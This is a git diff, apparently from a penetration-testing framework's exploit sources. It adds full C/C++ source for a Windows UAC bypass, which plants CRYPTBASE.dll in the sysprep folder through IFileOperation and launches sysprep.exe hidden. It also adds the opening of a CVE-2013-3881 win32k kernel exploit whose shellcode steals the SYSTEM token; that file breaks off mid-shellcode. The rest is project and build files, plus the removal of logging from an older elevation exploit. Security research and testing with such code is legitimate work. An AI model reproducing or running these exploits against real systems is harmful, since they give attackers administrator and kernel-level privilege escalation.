NULL); - if (hRemoteThread == 0) - { - //MessageBox(hWnd, L"Couldn't create remote thread", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine( - CError::Format( - GetLastError(), - L"Couldn't create remote thread", - L"CreateRemoteThread")); - - } - else + if (hRemoteThread != 0) { if ( Redirector ) Redirector(); @@ -415,7 +395,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d //else if (IDCANCEL == MessageBox(hWnd, L"Continue waiting for remote thread to complete?", L"Win7Elevate", MB_OKCANCEL | MB_ICONQUESTION)) else { - CLogger::LogLine(L"Continue waiting for remote thread to complete? : NO"); // See if it completed before the user asked to stop waiting. // Code that wasn't just a proof-of-concept would use a worker thread that could cancel the wait UI. if (WAIT_OBJECT_0 == WaitForSingleObject(hRemoteThread, 0)) @@ -442,14 +421,4 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d FreeLibrary(hModKernel32); - if (bThreadWaitFailure) - { - //MessageBox(hWnd, L"Error waiting on the remote thread to complete", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Error waiting on the remote thread to complete"); - } - else if (bThreadWaitSuccess) - { - //MessageBox(hWnd, L"Remote thread completed", L"Win7Elevate", MB_OK | MB_ICONINFORMATION); - CLogger::LogLine(L"Remote thread completed"); - } } diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp old mode 100644 new mode 100755 index 8b8e669843..737602094a --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp @@ -33,7 +33,6 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro if (hSnapshot == INVALID_HANDLE_VALUE) { //MessageBox(hWnd, L"CreateToolhelp32Snapshot failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"CreateToolhelp32Snapshot failed"); } else { @@ -61,17 +60,7 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro { DWORD dwErr = GetLastError(); - if (ERROR_NO_MORE_FILES != dwErr) - { - //MessageBox(hWnd, L"Process32Next/First failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Process32Next/First failed"); - } - else if (mapProcs.empty()) - { - //MessageBox(hWnd, L"Process32Next/First returned nothing", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Process32Next/First returned nothing"); - } - else + if ((ERROR_NO_MORE_FILES == dwErr) && !(mapProcs.empty())) { bResult = true; } @@ -107,7 +96,6 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi if (szProcName == NULL) { //MessageBox(hWnd, L"No process name passed in", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"No process name passed in"); return false; } @@ -140,7 +128,7 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi } //MessageBox(hWnd, strMsg.c_str(), L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(strMsg); + return false; } diff --git a/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj b/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj index 25fbbef26c..e72a94e333 100644 --- a/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj +++ b/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj @@ -1,5 +1,5 @@  - + Debug @@ -28,23 +28,27 @@ DynamicLibrary true Unicode + v120 DynamicLibrary true Unicode + v120 DynamicLibrary false - true + false Unicode + v120 DynamicLibrary false - true + false Unicode + v120 @@ -64,25 +68,30 @@ true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ + AllRules.ruleset @@ -90,11 +99,16 @@ Level3 Disabled WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) + Size + false Windows true + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + @@ -102,11 +116,16 @@ Level3 Disabled WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) + Size + false Windows true + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" > NUL + @@ -117,6 +136,7 @@ true WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) MultiThreaded + Size Windows @@ -124,6 +144,9 @@ true true + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + @@ -134,6 +157,7 @@ true WIN64;_WIN64;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) MultiThreaded + Size Windows @@ -145,6 +169,9 @@ + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" > NUL + diff --git a/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp b/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp old mode 100644 new mode 100755 index f064b8b4e6..21648f103f --- a/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp +++ b/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp @@ -17,7 +17,6 @@ BOOL APIENTRY DllMain( HMODULE hModule, // Wee need to hide fact that we've started process thats why we immediately // Terminate host application. // - CLogger::LogLine(TEXT("DLL: Hello")); switch (ul_reason_for_call) { @@ -33,8 +32,6 @@ BOOL APIENTRY DllMain( HMODULE hModule, startupInfo.cb = sizeof(startupInfo); PROCESS_INFORMATION processInfo = {0}; - CLogger::LogLine(TEXT("DLL: TIOR shell=")); - CLogger::LogLine(cmd); // // Create not visible window diff --git a/external/source/exploits/bypassuac/make.msbuild b/external/source/exploits/bypassuac/make.msbuild new file mode 100755 index 0000000000..53493e1385 --- /dev/null +++ b/external/source/exploits/bypassuac/make.msbuild @@ -0,0 +1,19 @@ + + + + .\Win7Elevate.sln + + + + + + + + + + + + + + + diff --git a/external/source/exploits/bypassuac/x64/.keep b/external/source/exploits/bypassuac/x64/.keep deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/external/source/exploits/bypassuac_injection/.gitignore b/external/source/exploits/bypassuac_injection/.gitignore new file mode 100644 index 0000000000..cfd9ebaa06 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/bypassuac_injection.sln b/external/source/exploits/bypassuac_injection/bypassuac_injection.sln new file mode 100755 index 0000000000..f37920bc8f --- /dev/null +++ b/external/source/exploits/bypassuac_injection/bypassuac_injection.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bypassuac", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj new file mode 100644 index 0000000000..0695003480 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj @@ -0,0 +1,204 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} + reflective_dll + Win32Proj + bypassuac + + + + DynamicLibrary + v120 + MultiByte + false + + + DynamicLibrary + v120 + Unicode + + + DynamicLibrary + MultiByte + false + v120 + + + DynamicLibrary + v120 + Unicode + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + $(ProjectName)-x86 + $(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\ + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + $(ProjectName)-x64 + $(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\; + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Windows + MachineX86 + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Windows + MachineX64 + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + +IF EXIST "..\..\..\..\..\data\post\" GOTO COPY + mkdir "..\..\..\..\..\data\post\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(TargetName)$(TargetExt) + true + Windows + true + true + MachineX64 + + + +IF EXIST "..\..\..\..\..\data\post\" GOTO COPY + mkdir "..\..\..\..\..\data\post\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\" + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp new file mode 100644 index 0000000000..4f0ba9b113 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp @@ -0,0 +1,119 @@ +#include "Exploit.h" + +void exploit() +{ + + const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\"; + const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\"; + const wchar_t *sySysPrepExe = L"sysprep.exe"; + const wchar_t *szElevDll = L"CRYPTBASE.dll"; + const wchar_t *szSourceDll = L"CRYPTBASE.dll"; + wchar_t szElevDir[MAX_PATH] = {}; + wchar_t szElevDir_syswow64[MAX_PATH] = {}; + wchar_t szElevDllFull[MAX_PATH] = {}; + wchar_t szElevDllFull_syswow64[MAX_PATH] = {}; + wchar_t szElevExeFull[MAX_PATH] = {}; + wchar_t path[MAX_PATH] = {}; + wchar_t windir[MAX_PATH] = {}; + const wchar_t *szElevArgs = L""; + const wchar_t *szEIFOMoniker = NULL; + PVOID OldValue = NULL; + + IFileOperation *pFileOp = NULL; + IShellItem *pSHISource = 0; + IShellItem *pSHIDestination = 0; + IShellItem *pSHIDelete = 0; + + const IID *pIID_EIFO = &__uuidof(IFileOperation); + const IID *pIID_EIFOClass = &__uuidof(FileOperation); + const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); + + GetWindowsDirectoryW(windir, MAX_PATH); + GetTempPathW(MAX_PATH, path); + + /* %temp%\cryptbase.dll */ + wcscat_s(path, MAX_PATH, szSourceDll); + + /* %windir%\System32\sysprep\ */ + wcscat_s(szElevDir, MAX_PATH, windir); + wcscat_s(szElevDir, MAX_PATH, szSysPrepDir); + + /* %windir%\sysnative\sysprep\ */ + wcscat_s(szElevDir_syswow64, MAX_PATH, windir); + wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64); + + /* %windir\system32\sysprep\cryptbase.dll */ + wcscat_s(szElevDllFull, MAX_PATH, szElevDir); + wcscat_s(szElevDllFull, MAX_PATH, szElevDll); + + /* %windir\sysnative\sysprep\cryptbase.dll */ + wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64); + wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll); + + /* %windir%\system32\sysprep\sysprep.exe */ + wcscat_s(szElevExeFull, MAX_PATH, szElevDir); + wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe); + + if (CoInitialize(NULL) == S_OK) + { + if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK) + { + if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK) + { + if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK) + { + if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK) + { + if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK) + { + /* Copy the DLL file to the sysprep folder*/ + if (pFileOp->PerformOperations() == S_OK) + { + /* Execute sysprep.exe */ + SHELLEXECUTEINFOW shinfo; + ZeroMemory(&shinfo, sizeof(shinfo)); + shinfo.cbSize = sizeof(shinfo); + shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; + shinfo.lpFile = szElevExeFull; + shinfo.lpParameters = szElevArgs; + shinfo.lpDirectory = szElevDir; + shinfo.nShow = SW_HIDE; + + Wow64DisableWow64FsRedirection(&OldValue); + if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) + { + WaitForSingleObject(shinfo.hProcess, 10000); + CloseHandle(shinfo.hProcess); + } + + if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) + { + if (0 != pSHIDelete) + { + if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) + { + pFileOp->PerformOperations(); + // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path + // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: + // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx + if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) + { + if (0 != pSHIDelete) + { + if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) + { + pFileOp->PerformOperations(); + } + } + } + } + } + } + } + } + } + } + } + } + } +} diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h new file mode 100644 index 0000000000..cce02e5bff --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h @@ -0,0 +1,8 @@ +#include +#include +#include +#include +#include +#include + +EXTERN_C void exploit(); diff --git a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c new file mode 100644 index 0000000000..83b0c9fddb --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c @@ -0,0 +1,26 @@ +#include "ReflectiveLoader.h" +#include "Exploit.h" + +extern HINSTANCE hAppInstance; + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + exploit(); + ExitProcess(0); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} diff --git a/external/source/exploits/bypassuac_injection/make.bat b/external/source/exploits/bypassuac_injection/make.bat new file mode 100644 index 0000000000..542886940b --- /dev/null +++ b/external/source/exploits/bypassuac_injection/make.bat @@ -0,0 +1,38 @@ +@ECHO OFF +IF "%VCINSTALLDIR%" == "" GOTO NEED_VS + +IF "%1"=="x86" GOTO BUILD_X86 +IF "%1"=="X86" GOTO BUILD_X86 +IF "%1"=="x64" GOTO BUILD_X64 +IF "%1"=="X64" GOTO BUILD_X64 + +ECHO "Building Exploits x64 and x86 (Release)" +SET PLAT=all +GOTO RUN + +:BUILD_X86 +ECHO "Building Exploits x86 (Release)" +SET PLAT=x86 +GOTO RUN + +:BUILD_X64 +ECHO "Building Exploits x64 (Release)" +SET PLAT=x64 +GOTO RUN + +:RUN +ECHO "Building Bypass UAC Injection" +msbuild.exe make.msbuild /target:%PLAT% + + +FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j +SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% +echo Finished %ldt% + +GOTO :END + +:NEED_VS +ECHO "This command must be executed from within a Visual Studio Command prompt." +ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools" + +:END diff --git a/external/source/exploits/bypassuac_injection/make.msbuild b/external/source/exploits/bypassuac_injection/make.msbuild new file mode 100644 index 0000000000..9adb309502 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/make.msbuild @@ -0,0 +1,19 @@ + + + + .\bypassuac_injection.sln + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2013-3881/.gitignore b/external/source/exploits/cve-2013-3881/.gitignore new file mode 100644 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/cve-2013-3881/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881.sln b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln new file mode 100755 index 0000000000..8887a82024 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-3881", "cve-2013-3881\cve-2013-3881.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c new file mode 100755 index 0000000000..9389277e09 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c @@ -0,0 +1,261 @@ +/* + * Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability + * Date: February 5, 2014 + * Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame + * Exploit Author: Spencer McIntyre + * Version: Windows 7 SP0/SP1 + * Tested on: Windows 7 SP0/SP1 + * CVE-2013-3881 MS13-081 + * References: + * http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html + * http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html + * http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html + */ + +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +// Purloined from ntstatus.h +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth + +#define WIN32_NO_STATUS +#include +#undef WIN32_NO_STATUS + +#ifndef _NTDEF_ +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#define TABLE_BASE 0xff910000 + +static const char* window_class_name = "PWN_CLASS"; +static HWND window0 = NULL; +static HWND window1 = NULL; +static HDESK desktop = NULL; + +const unsigned char shellcode[] = + "\x33\xc0" // xor eax, eax + "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, fs:[eax+0x124] + "\x8b\x40\x50" // mov eax, ds:[eax+0x50] + "\x8b\xc8" // mov ecx, eax + /* LOOPTHROUGHPROCESSES */ + "\x8b\x80\xb8\x00\x00\x00" // mov eax, ds:[eax+0xb8] + "\x2d\xb8\x00\x00\x00" // sub eax, 0xb8 + "\x83\xb8\xb4\x00\x00\x00\x04" // cmp DWORD PTR ds:[eax+0xb4], 4 + "\x75\xec" // jnz short LOOPTHROUGHPROCESSES + "\x8b\x90\xf8\x00\x00\x00" // mov edx, ds:[eax+0x0f8] + "\x89\x91\xf8\x00\x00\x00" // mov [ecx+0x0f8], edx + /* Epilog Part 1: Uncorrupt HANDLEENTRY */ + "\xbe\x00\x08\x00\x00" // mov esi, 0x0800 + "\x8b\x3e" // mov edi, [esi] + "\x8b\x46\x04" // mov eax, [esi+4] + "\x89\x07" // mov [edi], eax + "\x8b\x46\x08" // mov eax, [esi+8] + "\x89\x47\x04" // mov [edi + 4], eax + "\x8b\x46\x0c" // mov eax, [esi+c] + "\x89\x47\x08" // mov [edi+8], eax + /* Epilog Part 2: Return to xxxTrackPopupMenuEx */ + "\x83\x7c\x24\x58\x00" // cmp DWORD PTR [esp+0x58], 0 + "\x74\x11" // je short sp1 + 